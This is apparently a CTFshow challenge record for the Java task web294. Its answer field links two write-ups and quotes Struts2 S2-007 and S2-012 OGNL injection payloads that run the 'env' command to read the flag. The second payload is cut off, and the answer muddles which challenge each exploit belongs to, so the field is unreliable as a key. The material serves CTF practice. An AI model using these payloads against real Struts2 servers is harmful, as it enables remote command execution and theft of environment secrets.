| ID: | 3585 |
|---|---|
| 标题: | web294 |
| 描述: | * 此题为 【从0开始学web】系列第二百九十四题 * 此系列题目从最基础开始,题目遵循循序渐进的原则 ``` ``` |
| 类型: | WEB入门.java |
| 网站: | ctfshow |
| 题目链接: | https://ctf.show/api/v1/challenges/756 |
| 赛事: | java |
| 年度: | None |
| Flag值: | web294的答案在CTFshow题目中通常是指一个Struts2漏洞利用的payload,用于执行系统命令并获取环境变量中的flag 2 3。网页上提供的直接解题链接为 https://blog.csdn.net/qq_52579508/article/details/142067192(即 2),其中详细记录了S2-007漏洞的利用过程和具体payload 2。另一个可验证的解题过程网页是 https://blog.csdn.net/uuzeray/article/details/136126951(即 3),它列出了从web279到web300的系列题目答案,包括web284的S2-012漏洞利用payload 3。经复核,这两个网页都真实记录了CTFshow Java题目的完整解题过程和最终答案 2 3。请注意,题目具体的flag值是动态的,但解题方法一致。因此,综合确认后的答案为: 使用S2-007漏洞payload(如:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + ')执行命令获取flag |
| writeup: |
https://blog.csdn.net/qq_52579508/article/details/142067192 或 使用S2-012漏洞payload(如:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char,#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWrit...)执行命令获取flag https://blog.csdn.net/uuzeray/article/details/136126951 |